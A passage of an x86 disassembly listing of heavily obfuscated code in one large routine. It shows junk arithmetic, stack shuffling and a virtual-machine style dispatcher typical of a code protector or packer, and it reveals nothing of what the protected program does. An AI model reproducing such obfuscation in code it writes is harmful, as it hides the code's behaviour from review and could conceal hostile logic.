XREF: sub_580566+6734j shl edx, 5 not edx not edx jmp loc_586B51 ; --------------------------------------------------------------------------- loc_58857B: ; CODE XREF: sub_580566+4018j mov esi, 5AD425FFh neg esi dec esi shr esi, 8 xor esi, 5B23008Ah push ecx mov ecx, 5B862B4Ch sub esi, ecx jmp loc_58F054 ; --------------------------------------------------------------------------- loc_588599: ; CODE XREF: sub_580566+506Fj pop edi push esi push 732E63E8h pop esi jmp loc_58E246 ; --------------------------------------------------------------------------- loc_5885A6: ; CODE XREF: sub_580566+55C9j sub ebx, 66F967D7h sub ebx, edx add ebx, 66F967D7h pop edx push small word ptr [eax] jmp loc_584473 ; --------------------------------------------------------------------------- loc_5885BD: ; CODE XREF: sub_580566+845Bj mov edx, 4 jmp loc_589E98 ; --------------------------------------------------------------------------- loc_5885C7: ; CODE XREF: sub_580566+F0FFj mov ebp, 70564BCh sub ebp, 0FFFFFFFFh neg ebp xor ebp, 29AF43A3h push edx push ecx mov ecx, 4D6B7A2Ch add ecx, 7BFC4FB8h jmp loc_589DE7 ; --------------------------------------------------------------------------- loc_5885EC: ; CODE XREF: sub_580566+4A8Cj mov ecx, 4 sub eax, 3F8E649Ah jmp loc_58BED4 ; --------------------------------------------------------------------------- loc_5885FB: ; CODE XREF: sub_580566+DBFAj push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-20h+arg_16+2] pop esp xor ebx, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], ebx xor ebx, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] pop small word ptr [esp-24h+arg_1A+2] jmp loc_584473 ; --------------------------------------------------------------------------- loc_588620: ; CODE XREF: sub_580566+44A6j mov edx, [esp-20h+arg_16+2] add esp, 4 sub edi, 0EE72DD33h add ecx, edi pop edi sub esp, 4 mov [esp-24h+arg_1A+2], edi mov edi, 2 add ecx, edi mov edi, [esp-24h+arg_1A+2] jmp loc_584D3D ; --------------------------------------------------------------------------- loc_588647: ; CODE XREF: sub_580566+FE60j push ecx jmp loc_5873BB ; --------------------------------------------------------------------------- loc_58864D: ; DATA XREF: sub_580566+3D0Ao mov ax, word ptr [esp-30h+arg_28] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-2Ch+arg_24] pop esp jmp loc_58DDCC ; --------------------------------------------------------------------------- loc_588669: ; CODE XREF: sub_580566+EE96j add eax, esi add eax, 35390D72h mov esi, [esp-30h+arg_28] add esp, 4 and ecx, eax push [esp-34h+arg_2C] pop eax jmp loc_58EA24 ; --------------------------------------------------------------------------- loc_588681: ; CODE XREF: sub_580566+CD97j push ecx jmp loc_58D473 ; --------------------------------------------------------------------------- loc_588687: ; CODE XREF: sub_580566+9CCDj xor bl, cl jmp loc_58B6CE ; --------------------------------------------------------------------------- loc_58868E: ; CODE XREF: sub_580566+FFB3j pop edi pop [esp-34h+arg_2C] pop esp xchg ebp, [esp-3Ch+arg_34] pop esp dec byte ptr [esp-40h+arg_38] pushf jmp loc_58A56A ; --------------------------------------------------------------------------- loc_5886A0: ; CODE XREF: sub_580566+E5B0j mov [esp-3Ch+arg_34], ebx push [esp-3Ch+arg_34] jmp loc_58751C ; --------------------------------------------------------------------------- loc_5886AB: ; CODE XREF: sub_580566+5C44j pop esp mov [esp+28h+var_28], edx push ecx mov ecx, 70037A5Ah xchg ebp, ecx not ebp jmp loc_58AAF3 ; --------------------------------------------------------------------------- loc_5886BE: ; CODE XREF: sub_580566+7C5Ej add ecx, 32ED2353h shl ecx, 1 dec ecx jmp loc_58EF54 ; --------------------------------------------------------------------------- loc_5886CC: ; CODE XREF: sub_580566+5E41j push ecx mov ecx, 21841D94h sub ecx, 2C9F3FA2h add ecx, 0B1B2212h mov eax, ecx pop ecx push ebp mov ebp, 266D2051h add esi, ebp pop ebp sub esi, 249738FEh add esi, eax push ecx mov ecx, 5AC85CA4h jmp loc_58928E ; --------------------------------------------------------------------------- loc_5886FD: ; CODE XREF: sub_580566+BFB2j xor ebp, edi mov edi, [esp+8+var_8] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0Ch+var_C] pop esp push ebp pop edx push [esp+8+var_8] pop ebp add esp, 4 jmp loc_586A81 ; --------------------------------------------------------------------------- loc_588723: ; CODE XREF: sub_580566+9FFFj xor edx, [esp+4+var_4] jmp loc_58564B ; --------------------------------------------------------------------------- loc_58872B: ; CODE XREF: sub_580566+4E14j mov esi, [esp+0] add esp, 4 jmp loc_58A01D ; --------------------------------------------------------------------------- loc_588736: ; CODE XREF: sub_580566+EE0Fj xchg esi, [esp-14h+arg_A+2] pop esp add ebp, 4 push 6947h jmp loc_58D3A5 ; --------------------------------------------------------------------------- loc_58874A: ; CODE XREF: sub_580566+667Dj pop edi push ebx jmp loc_584DE4 ; --------------------------------------------------------------------------- loc_588751: ; CODE XREF: sub_580566+697Bj sub ebx, 23EFBD46h mov ecx, 46EB4F34h neg ecx or ecx, 7173192Fh add ecx, 0B026671h sub ecx, 1 or ecx, 317F7630h jmp loc_58EB25 ; --------------------------------------------------------------------------- loc_58877B: ; CODE XREF: sub_580566+8F79j add edx, 4 xchg edx, [esp-0Ah+arg_4+2] pop esp sub ebx, 4 push ebx push [esp-0Ah+arg_8+2] mov ebx, [esp+0] add esp, 4 pop [esp-0Ah+arg_4+2] mov esp, [esp-0Eh+arg_8+2] mov [esp-0Eh+arg_8+2], edx push eax pushf jmp loc_58E7DA ; --------------------------------------------------------------------------- loc_5887A3: ; CODE XREF: sub_580566+C9B4j mov ecx, ebx pop ebx and eax, ecx push [esp-0Ah+arg_4+2] pop ecx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp shr eax, 0Bh xor ecx, eax push esi push ebx mov ebx, esp jmp loc_586D1E ; --------------------------------------------------------------------------- loc_5887CA: ; CODE XREF: sub_580566+AFD7j xor edx, 2E3D2EA7h add esi, edx pop edx add edi, esi pop esi xor edi, [esp-0Ah+arg_4+2] xor [esp-0Ah+arg_4+2], edi xor edi, [esp-0Ah+arg_4+2] pop esp jmp loc_58B884 ; --------------------------------------------------------------------------- loc_5887E5: ; CODE XREF: sub_580566+FFE5j xor edx, ebx push [esp-0Eh+arg_8+2] pop ebx add esp, 4 sub esi, edx pop edx sub esp, 4 mov [esp-12h+arg_A], esi push [esp-12h+arg_E] jmp loc_58B3D9 ; --------------------------------------------------------------------------- loc_588803: ; CODE XREF: sub_580566+F1B7j xor ecx, [esp-0Eh+arg_8+2] xor [esp-0Eh+arg_8+2], ecx xor ecx, [esp-0Eh+arg_8+2] jmp loc_58B59F ; --------------------------------------------------------------------------- loc_588811: ; CODE XREF: sub_580566+F0F2j add edx, ecx pop ecx jmp loc_58968B ; --------------------------------------------------------------------------- loc_588819: ; CODE XREF: sub_580566+7C8Ej mov edx, esp add edx, 4 push 91h mov [esp-1Eh+arg_16], ebx jmp loc_587CFE ; --------------------------------------------------------------------------- loc_58882E: ; CODE XREF: sub_580566+55EDj mov edx, esp add edx, 4 add edx, 4 jmp loc_58E5C3 ; --------------------------------------------------------------------------- loc_588841: ; CODE XREF: sub_580566+E4EFj add bl, 41h jmp loc_585BAF ; --------------------------------------------------------------------------- loc_588849: ; CODE XREF: sub_580566+E456j mov ecx, 39E93A00h sub edi, ecx jmp loc_59000D ; --------------------------------------------------------------------------- loc_588855: ; DATA XREF: sub_580566+3CDEo push eax push esp jmp loc_586AB8 ; --------------------------------------------------------------------------- loc_58885C: ; CODE XREF: sub_580566+F17Cj push esi mov esi, 4E0E4D23h sub esi, 21A9213Ah xor esi, 44FE7E23h push 57B2h jmp loc_58CB10 ; --------------------------------------------------------------------------- loc_588878: ; CODE XREF: sub_580566+41FDj pop ecx xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- jmp loc_58B4D1 ; --------------------------------------------------------------------------- loc_588888: ; CODE XREF: sub_580566+9180j sub ecx, 2 push ecx push [esp+8+var_4] pop ecx pop [esp+8+var_8] pop esp mov [esp+0], ax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58889E: ; CODE XREF: sub_580566+5577j pop esi and eax, ebp jmp loc_59042C ; --------------------------------------------------------------------------- loc_5888A6: ; CODE XREF: sub_580566+D5F2j jmp loc_584473 ; --------------------------------------------------------------------------- loc_5888AB: ; CODE XREF: sub_580566+B9D2j sub edx, 29366A1Dh shl edx, 7 sub edx, 99CF93EDh or ecx, edx pop edx sub ecx, 27021DF0h xor edx, ecx pop ecx xor eax, edx mov edx, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_58BE96 ; --------------------------------------------------------------------------- loc_5888D6: ; CODE XREF: sub_580566+66A4j mov dh, bh pop ebx neg dh neg dh push ecx mov cl, 0Fh sub cl, 0F0h shr cl, 5 shr cl, 6 xor cl, 3Eh xor dh, cl pop ecx sub al, 0B9h jmp loc_587319 ; --------------------------------------------------------------------------- loc_5888F6: ; CODE XREF: sub_580566+D166j xor esi, 0ECF9A91Dh add ebx, esi pop esi sub ebp, ebx jmp loc_590632 ; --------------------------------------------------------------------------- loc_588906: ; CODE XREF: sub_580566+41F3j mov ecx, 1 mov edi, ecx jmp loc_584DAF ; --------------------------------------------------------------------------- loc_588912: ; CODE XREF: sub_580566+DD2Cj xor [esp+28h+var_28], edx push edx not [esp+2Ch+var_2C] mov edx, [esp+2Ch+var_2C] push ebx jmp loc_585949 ; --------------------------------------------------------------------------- loc_588922: ; CODE XREF: sub_580566+6465j inc edx shl edx, 4 xor edx, 0B8877322h sub eax, 75EE3B7Eh add eax, edx add eax, 75EE3B7Eh mov edx, [esp-2Ch+arg_24] add esp, 4 add eax, ebx sub eax, 476C2DA2h push ebp jmp loc_58F771 ; --------------------------------------------------------------------------- loc_58894E: ; CODE XREF: sub_580566+6BC1j push ebx push esp pop ebx push esi mov esi, 352E157Fh jmp loc_58DF0A ; --------------------------------------------------------------------------- loc_58895C: ; CODE XREF: sub_580566+767Cj pop ebx add ecx, edx pop edx add ecx, edx sub ecx, 27CC1294h jmp loc_58964E ; --------------------------------------------------------------------------- loc_58896D: ; CODE XREF: sub_580566+67C4j xor ebx, [esp-1Eh+arg_16] xor [esp-1Eh+arg_16], ebx xor ebx, [esp-1Eh+arg_16] pop esp mov [esp-22h+arg_1A], edi jmp loc_588E8B ; --------------------------------------------------------------------------- loc_58897F: ; CODE XREF: sub_580566+74A1j sub edi, 19706105h push ebp mov ebp, 7277CC5h dec ebp neg ebp jmp loc_5877EA ; --------------------------------------------------------------------------- loc_588993: ; CODE XREF: sub_580566+9DDFj push [esp-20h+arg_16+2] pop edi push esi mov esi, esp add esi, 4 add esi, 4 sub esp, 4 jmp loc_58F4D7 ; --------------------------------------------------------------------------- loc_5889AE: ; CODE XREF: sub_580566+ED71j mov [esp-18h+arg_E+2], edi jmp loc_58CCCB ; --------------------------------------------------------------------------- loc_5889B6: ; CODE XREF: sub_580566+F070j add esp, 4 push 195Fh mov [esp-18h+arg_E+2], edx jmp loc_5885BD ; --------------------------------------------------------------------------- loc_5889C6: ; CODE XREF: sub_580566+7EB3j jmp loc_584473 ; --------------------------------------------------------------------------- loc_5889CB: ; CODE XREF: sub_580566+A924j mov [esp+0], ebp push eax mov eax, 4 mov ebp, eax pop eax add esi, ebp pop ebp xchg esi, [esp+0] jmp loc_584674 ; --------------------------------------------------------------------------- loc_5889E2: ; CODE XREF: sub_580566+B4F6j push edx jmp loc_58FE3B ; --------------------------------------------------------------------------- loc_5889E8: ; CODE XREF: sub_580566+ED4Aj xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] jmp loc_58C550 ; --------------------------------------------------------------------------- loc_5889F6: ; CODE XREF: sub_580566+A547j mov bh, 0FFh add ch, bh pop bx and ch, 0B3h shr ch, 8 xor ch, 0F9h push edx jmp loc_58D345 ; --------------------------------------------------------------------------- loc_588A0B: ; CODE XREF: sub_580566+C43Fj add ebx, edi pop edi xor eax, ebx push dword ptr [esp+0] jmp loc_588C94 ; --------------------------------------------------------------------------- loc_588A18: ; CODE XREF: sub_580566+A0C9j mov ah, dh mov bl, ah pop eax not bl mov dh, bl jmp loc_58B209 ; --------------------------------------------------------------------------- loc_588A26: ; DATA XREF: sub_580566+3E12o mov ax, word ptr [esp-30h+arg_28] push edi push esp pop edi push 79BBh mov [esp-28h+arg_20], edx jmp loc_5844A3 ; --------------------------------------------------------------------------- loc_588A3A: ; CODE XREF: sub_580566+E136j mov ecx, [esp-28h+arg_20] add esp, 4 jmp loc_588D88 ; --------------------------------------------------------------------------- loc_588A48: ; CODE XREF: sub_580566+E81Fj pop eax add ebp, 2 jmp loc_589B7E ; --------------------------------------------------------------------------- loc_588A51: ; CODE XREF: sub_580566+79B1j xor cl, 0DAh add al, 62h add al, 87h add al, 1Dh sub al, cl sub al, 1Dh sub al, 87h sub al, 62h jmp loc_58FD2C ; --------------------------------------------------------------------------- loc_588A67: ; DATA XREF: sub_580566+3D02o neg [esp-30h+arg_28] pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_588A70: ; CODE XREF: sub_580566+C219j mov ecx, [esp-2Ch+arg_24] add esp, 4 jmp loc_58E81D ; --------------------------------------------------------------------------- loc_588A7E: ; DATA XREF: sub_580566+3E3Ao lodsb add al, 8Fh add al, 0D4h jmp loc_588019 ; --------------------------------------------------------------------------- loc_588A88: ; CODE XREF: sub_580566+6540j push esi jmp loc_5864A6 ; --------------------------------------------------------------------------- loc_588A8E: ; CODE XREF: sub_580566+C411j add ecx, 4 push ebp mov ebp, 4 sub ecx, ebp pop ebp xchg ecx, [esp-24h+arg_1A+2] pop esp mov [esp-28h+arg_20], edx mov edx, 100h jmp loc_585A28 ; --------------------------------------------------------------------------- loc_588AAE: ; CODE XREF: sub_580566+9620j push small 7555h mov [esp+0], cx jmp loc_584473 ; --------------------------------------------------------------------------- loc_588ABB: ; CODE XREF: sub_580566+A826j push esi mov esi, 4 jmp loc_58D65D ; --------------------------------------------------------------------------- loc_588AC6: ; CODE XREF: sub_580566+41ECj mov [esp+20h+var_20], edi push ebx mov ebx, 70486EF3h xchg edx, ebx inc edx push ebx push edx pop ebx pop edx push edi mov edi, 3DBE0236h sub edi, 0CDBB9FB4h xor ebx, edi pop edi jmp loc_58AB2C ; --------------------------------------------------------------------------- loc_588AEA: ; CODE XREF: sub_580566+6CF1j push [esp-30h+arg_28] push [esp-2Ch+arg_24] mov edi, [esp-28h+arg_20] add esp, 4 push ecx mov ecx, esp add ecx, 4 jmp loc_5873C6 ; --------------------------------------------------------------------------- loc_588B07: ; CODE XREF: sub_580566+F8B3j add al, 0D5h sub al, 0EDh add al, cl add al, 0EDh sub al, 0D5h pop ecx sub esp, 4 mov [esp-28h+arg_20], edx mov dh, 7Eh and dh, 0B7h or dh, 39h xchg cl, dh push ebx mov bh, cl xchg ch, bh xchg al, ch jmp loc_584E42 ; --------------------------------------------------------------------------- loc_588B2E: ; CODE XREF: sub_580566+8B69j and eax, edx push [esp-24h+arg_1A+2] pop edx sub esp, 4 mov [esp-20h+arg_16+2], esi jmp loc_58DF7E ; --------------------------------------------------------------------------- loc_588B3F: ; CODE XREF: sub_580566+63CCj xor bh, ch jmp loc_586DD0 ; --------------------------------------------------------------------------- loc_588B46: ; DATA XREF: sub_580566+3D8Ao lodsd cmp dword ptr [edi+20h], 0 jz loc_5899F0 add esi, 0A28462Eh add esi, 4AD66E1Ch add esi, 0CCF05F0h push edi jmp loc_58C122 ; --------------------------------------------------------------------------- loc_588B69: ; DATA XREF: sub_580566+3D4Ao pop small word ptr [edx] jmp loc_584473 ; --------------------------------------------------------------------------- loc_588B71: ; CODE XREF: sub_580566+9510j add esp, 4 push edx push esp pop edx jmp loc_58ED0B ; --------------------------------------------------------------------------- loc_588B7F: ; CODE XREF: sub_580566+B017j pop dword ptr [eax] xor dword ptr [eax], 935039Ch push [esp-36h+arg_2C+2] jmp loc_585EB4 ; --------------------------------------------------------------------------- loc_588B8F: ; CODE XREF: sub_580566+DA4Ej mov al, dh mov bl, al pop eax jmp loc_58B36F ; --------------------------------------------------------------------------- loc_588B99: ; CODE XREF: sub_580566+6D47j push 709Fh mov [esp-18h+arg_E+2], edi push 553Ch mov [esp-14h+arg_A+2], ecx jmp loc_58DE2C ; --------------------------------------------------------------------------- loc_588BAE: ; CODE XREF: sub_580566+5475j sub esp, 4 mov [esp+0], eax jmp loc_58D015 ; --------------------------------------------------------------------------- loc_588BBC: ; CODE XREF: sub_580566+47C4j sub esi, 1 jmp loc_58ADD7 ; --------------------------------------------------------------------------- loc_588BC4: ; CODE XREF: sub_580566+A2E6j pop esi push [esp-20h+arg_16+2] jmp loc_58652C ; --------------------------------------------------------------------------- loc_588BCD: ; CODE XREF: sub_580566+87E3j add esp, 4 jmp loc_584E65 ; --------------------------------------------------------------------------- loc_588BD5: ; CODE XREF: sub_580566+E419j push ecx mov ecx, 4 mov esi, ecx pop ecx add eax, esi pop esi xor eax, [esp-24h+arg_1A+2] xor [esp-24h+arg_1A+2], eax xor eax, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] shl [esp-24h+arg_1A+2], cl jmp loc_58A29F ; --------------------------------------------------------------------------- loc_588BF5: ; CODE XREF: sub_580566+C7E5j push 55F83290h mov eax, [esp-20h+arg_16+2] add esp, 4 shr eax, 4 push 3E45h jmp loc_58DEB0 ; --------------------------------------------------------------------------- loc_588C0D: ; CODE XREF: sub_580566+86C8j mov [esp-20h+arg_16+2], eax mov al, 1 jmp loc_586457 ; --------------------------------------------------------------------------- loc_588C17: ; CODE XREF: sub_580566+3FE9j push eax mov ah, 7Eh mov dl, 0B6h xor dl, 5Ch jmp loc_590438 ; --------------------------------------------------------------------------- loc_588C24: ; CODE XREF: sub_580566+7FBDj mov [esp-1Ch+arg_12+2], edx mov dl, 3Eh push 6491h jmp loc_588C0D ; --------------------------------------------------------------------------- loc_588C33: ; CODE XREF: sub_580566+4AA1j sub ch, 0F6h jmp loc_59057F ; --------------------------------------------------------------------------- loc_588C3B: ; CODE XREF: sub_580566+B42Cj pop esi add esi, 4 add esi, 4 xchg esi, [esp-24h+arg_1A+2] mov esp, [esp-24h+arg_1A+2] bt [esp-24h+arg_1A+2], eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_588C55: ; CODE XREF: sub_580566+C967j push eax jmp loc_5849ED ; --------------------------------------------------------------------------- loc_588C5B: ; CODE XREF: sub_580566+E555j or ebp, ebx pop ebx push edx mov edx, 0E0D1FD3h inc edx add edx, 6B192F94h add edx, 88B3D2B5h sub ebp, 7C2D3AAFh add ebp, edx add ebp, 7C2D3AAFh pop edx sub ecx, 30810D6Ch add ecx, ebp add ecx, 30810D6Ch pop ebp jmp loc_585F36 ; --------------------------------------------------------------------------- loc_588C94: ; CODE XREF: sub_580566+84ADj pop ebx push eax push esp jmp loc_5902D9 ; --------------------------------------------------------------------------- loc_588C9C: ; CODE XREF: sub_580566+6F74j mov eax, [esp+0] add esp, 4 mov edx, [esp-2Ah+arg_20+2] add esp, 4 push cx mov cx, 0FFFFh add si, cx pop cx not si inc si shr si, 3 not si add si, 0FEC4h xor ax, si pop esi push edx jmp loc_58DDC3 ; --------------------------------------------------------------------------- loc_588CD4: ; CODE XREF: sub_580566+5A30j mov edi, 1DFD0821h sub eax, 54A94210h sub eax, edi jmp loc_58F547 ; --------------------------------------------------------------------------- loc_588CE5: ; CODE XREF: sub_580566+A18Ej push esp pop [esp+0Ch+var_C] push ecx push 4 pop ecx add [esp+0Ch+var_8], ecx pop ecx pop edx add edx, 4 jmp loc_590057 ; --------------------------------------------------------------------------- loc_588D01: ; CODE XREF: sub_580566+62D2j mov ebp, 4 add ebx, 51F81789h jmp loc_58963C ; --------------------------------------------------------------------------- loc_588D11: ; CODE XREF: sub_580566+96EBj neg al jmp loc_586CD2 ; --------------------------------------------------------------------------- loc_588D18: ; CODE XREF: sub_580566+40EAj jmp loc_584473 ; --------------------------------------------------------------------------- loc_588D1D: ; CODE XREF: sub_580566+3FD9j push ebp jmp loc_586BE8 ; --------------------------------------------------------------------------- loc_588D23: ; CODE XREF: sub_580566+72E0j pop ebp push ebx jmp loc_587BAF ; --------------------------------------------------------------------------- loc_588D2A: ; CODE XREF: sub_580566+EADAj mov edx, ebp pop ebp jmp loc_5902B0 ; --------------------------------------------------------------------------- loc_588D32: ; DATA XREF: sub_580566+3E36o mov ax, word ptr [esp-30h+arg_28] push ebp mov ebp, esp sub esp, 4 mov [esp-28h+arg_20], eax mov eax, 4 add ebp, eax mov eax, [esp-28h+arg_20] jmp loc_588BCD ; --------------------------------------------------------------------------- loc_588D4E: ; CODE XREF: sub_580566+5228j push [esp-36h+arg_2C+2] mov edx, [esp-32h+arg_28+2] add esp, 4 add esp, 4 shr eax, 0Ch xor eax, ecx jmp loc_587F1C ; --------------------------------------------------------------------------- loc_588D6A: ; CODE XREF: sub_580566+C9E2j mov ebx, [esp-3Ah+arg_30+2] jmp loc_587504 ; --------------------------------------------------------------------------- loc_588D72: ; CODE XREF: sub_580566+A895j mov ebp, ecx jmp loc_590452 ; --------------------------------------------------------------------------- loc_588D79: ; DATA XREF: sub_580566+3E72o lodsd sub esp, 4 mov [esp-2Ch+arg_24], edi jmp loc_589523 ; --------------------------------------------------------------------------- loc_588D88: ; CODE XREF: sub_580566+84DDj mov ecx, [esp-2Ch+arg_24] add esp, 4 jmp loc_58983C ; --------------------------------------------------------------------------- loc_588D93: ; CODE XREF: sub_580566+C285j sub esp, 4 mov [esp-2Ch+arg_24], esp add [esp-2Ch+arg_24], 4 pop ebx add ebx, 4 sub esp, 4 mov [esp-2Ch+arg_24], edx mov edx, 4 sub ebx, 23EF737Fh add ebx, edx add ebx, 23EF737Fh jmp loc_58FE1E ; --------------------------------------------------------------------------- loc_588DC8: ; CODE XREF: sub_580566+646Dj add ebp, 4 sub ebp, 4 jmp loc_5862A6 ; --------------------------------------------------------------------------- loc_588DD6: ; CODE XREF: sub_580566+D601j push eax mov eax, 55420D3Eh jmp loc_5863C2 ; --------------------------------------------------------------------------- loc_588DE1: ; CODE XREF: sub_580566+FA6Ej add eax, 3EA7099Bh dec eax shl eax, 7 jmp loc_58AFD9 ; --------------------------------------------------------------------------- loc_588DEF: ; CODE XREF: sub_580566+E747j add [esp-24h+arg_20], 37DC565Ah add [esp-24h+arg_20], eax sub [esp-24h+arg_20], 37DC565Ah sub [esp-24h+arg_20], 3CEB3783h pop eax mov eax, [esp-28h+arg_20] add esp, 4 push ecx mov ecx, 6D3C614Ch jmp loc_5863B4 ; --------------------------------------------------------------------------- loc_588E20: ; CODE XREF: sub_580566+ED19j xor ecx, 6E22FCB5h xor esi, ecx pop ecx add eax, esi pop esi push 7EC9h mov [esp-2Ch+arg_24], edi mov edi, 4 push edx mov edx, 4D444BCEh add eax, edx pop edx sub eax, edi jmp loc_5878F4 ; --------------------------------------------------------------------------- loc_588E49: ; CODE XREF: sub_580566+73E3j xor eax, 5CBF6B51h sub ecx, 3E8D0C76h add ecx, eax jmp loc_588133 ; --------------------------------------------------------------------------- loc_588E5B: ; CODE XREF: sub_580566+DDDFj mov [esp-34h+arg_2C], esp add [esp-34h+arg_2C], 4 mov esi, [esp-34h+arg_2C] add esp, 4 add esi, 4 push 7307h mov [esp-34h+arg_2C], ecx mov ecx, 2 sub esi, 22DC627Eh add esi, ecx jmp loc_58CFD6 ; --------------------------------------------------------------------------- loc_588E8B: ; CODE XREF: sub_580566+8414j mov edi, ebx push edi push ecx mov ecx, 1F747AB0h sub [esp-1Ah+arg_16], ecx pop ecx mov esi, [esp-1Eh+arg_16] add esp, 4 add esi, 1F747AB0h jmp loc_58C179 ; --------------------------------------------------------------------------- loc_588EAD: ; CODE XREF: sub_580566+AB7Aj pop edx pop ecx jmp loc_58D3ED ; --------------------------------------------------------------------------- loc_588EB4: ; CODE XREF: sub_580566+8B32j mov dl, 9Ah sub al, dl pop edx add al, bh add al, 9Ah mov ebx, [esp-2Eh+arg_24+2] add esp, 4 jmp loc_586F59 ; --------------------------------------------------------------------------- loc_588EC8: ; CODE XREF: sub_580566+FFF3j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] mov [esp-2Eh+arg_24+2], ebx xor [esp-2Eh+arg_24+2], 349B6407h pop esi xor esi, 349B6407h pop ebx and eax, esi push [esp-36h+arg_2C+2] jmp loc_58C3D5 ; --------------------------------------------------------------------------- loc_588EF6: ; CODE XREF: sub_580566+5828j mov ebx, 2299E0A1h jmp loc_5894B2 ; --------------------------------------------------------------------------- loc_588F00: ; CODE XREF: sub_580566+D18Fj mov cl, 1Fh add ah, cl pop ecx jmp loc_586E56 ; --------------------------------------------------------------------------- loc_588F0A: ; CODE XREF: sub_580566+8D4Fj sub ebx, 0D4FA006Eh add ecx, ebx pop ebx sub ecx, 0EBA0D4BFh add esi, ecx pop ecx sub esi, 266D2051h pop eax push ebx mov ebx, 77E76B2Ch add ebx, 609F3B0Fh add ebx, 277959C7h add esi, ebx pop ebx xchg esi, [esp+0] pop esp shl word ptr [esp-14h+arg_A+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_588F46: ; CODE XREF: sub_580566+7490j xchg eax, [esp-20h+arg_16+2] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_588F4F: ; CODE XREF: sub_580566+5E0Bj mov [esp-2Ch+arg_24], esp add [esp-2Ch+arg_24], 4 jmp loc_5857D8 ; --------------------------------------------------------------------------- loc_588F5B: ; CODE XREF: sub_580566+100BBj pop ebx jmp loc_58AF8B ; --------------------------------------------------------------------------- loc_588F61: ; DATA XREF: sub_580566+3DF2o mov eax, [esp-30h+arg_28] push edi push esp pop edi add edi, 4 jmp loc_58BD01 ; --------------------------------------------------------------------------- loc_588F72: ; CODE XREF: sub_580566+9C2Dj pop ebp xor eax, ebp xor ebp, eax xor eax, ebp push 2DC2h mov [esp-2Ch+arg_24], esi push 1 mov esi, [esp-28h+arg_20] push ebx mov ebx, esp add ebx, 4 jmp loc_58635D ; --------------------------------------------------------------------------- loc_588F97: ; CODE XREF: sub_580566+5D00j sub edx, edi pop edi jmp loc_58EAD4 ; --------------------------------------------------------------------------- loc_588F9F: ; CODE XREF: sub_580566+C384j mov edx, [esp+0Ah+var_C+2] add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp+6+var_8+2] pop esp loc_588FB5: ; CODE XREF: sub_580566+BA03j sub esp, 4 mov [esp+6+var_8+2], esi sub esp, 4 jmp loc_587B95 ; --------------------------------------------------------------------------- loc_588FC6: ; CODE XREF: sub_580566+A62Dj add esp, 4 add eax, 42674185h jmp loc_585F95 ; --------------------------------------------------------------------------- loc_588FD3: ; CODE XREF: sub_580566+4211j neg dl jmp loc_586CDF ; --------------------------------------------------------------------------- push [esp+2Ah+var_2C+2] push [esp+2Eh+var_30+2] pop edx add esp, 4 push ebp sub esp, 4 mov [esp+32h+var_34+2], esp add [esp+32h+var_34+2], 4 pop ebp jmp loc_585167 ; --------------------------------------------------------------------------- loc_588FF8: ; CODE XREF: sub_580566+6A0Aj mov eax, [esp-8+arg_4] push 396Ch mov [esp+0], esi mov esi, esp jmp loc_58FD88 ; --------------------------------------------------------------------------- loc_58900A: ; CODE XREF: sub_580566+4C08j shl ebx, 4 add ebx, 173B4564h add ebp, ebx pop ebx push esi mov esi, 4 push ebx mov ebx, 1FB0127h jmp loc_5903B1 ; --------------------------------------------------------------------------- loc_589027: ; CODE XREF: sub_580566+AD1Dj mov esi, ecx jmp loc_58E461 ; --------------------------------------------------------------------------- loc_58902E: ; CODE XREF: sub_580566+CA98j mov [esp-0Ch+arg_8], edi mov edi, 4 add esi, edi mov edi, [esp-0Ch+arg_8] jmp loc_58648F ; --------------------------------------------------------------------------- loc_589040: ; CODE XREF: sub_580566+441Ej mov ebp, esp push esi jmp loc_5891D5 ; --------------------------------------------------------------------------- loc_589048: ; DATA XREF: sub_580566+3CB6o push dword ptr fs:[edx] jmp loc_584473 ; --------------------------------------------------------------------------- loc_589050: ; CODE XREF: sub_580566+65B2j pop ebp shr ebx, 7 push ecx mov ecx, 0FFFFFFFFh jmp loc_58B659 ; --------------------------------------------------------------------------- loc_58905F: ; CODE XREF: sub_580566+EF31j sub edx, 41F63F85h add edx, edi add edx, 41F63F85h mov edi, [esp-20h+arg_16+2] push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp-1Ch+arg_12+2] pop esp jmp loc_58995D ; --------------------------------------------------------------------------- loc_589088: ; CODE XREF: sub_580566+D972j mov eax, esp add eax, 4 jmp loc_58D73D ; --------------------------------------------------------------------------- loc_589094: ; CODE XREF: sub_580566+794Cj add bh, 8Ah push edx jmp loc_588EB4 ; --------------------------------------------------------------------------- loc_58909D: ; CODE XREF: sub_580566+4109j mov edx, [esp-0Ch+arg_8] jmp loc_589218 ; --------------------------------------------------------------------------- loc_5890A5: ; CODE XREF: sub_580566+AE92j inc dh xor dh, 87h sub bl, dh jmp loc_58E45B ; --------------------------------------------------------------------------- loc_5890B1: ; CODE XREF: sub_580566+4AAEj mov bh, 9Dh dec bh jmp loc_585971 ; --------------------------------------------------------------------------- loc_5890BA: ; CODE XREF: sub_580566+F749j mov ecx, 200h push ecx add [esp+8+var_8], 725C104Ch pop edx sub edx, 725C104Ch pop ecx jmp loc_588B2E ; --------------------------------------------------------------------------- loc_5890D4: ; CODE XREF: sub_580566+CEFFj push ebp pop esi pop ebp jmp loc_584A3A ; --------------------------------------------------------------------------- loc_5890DC: ; CODE XREF: sub_580566+97C1j pop esi xchg edi, ebp not edi push ebp push edi pop ebp jmp loc_589AD2 ; --------------------------------------------------------------------------- loc_5890E9: ; 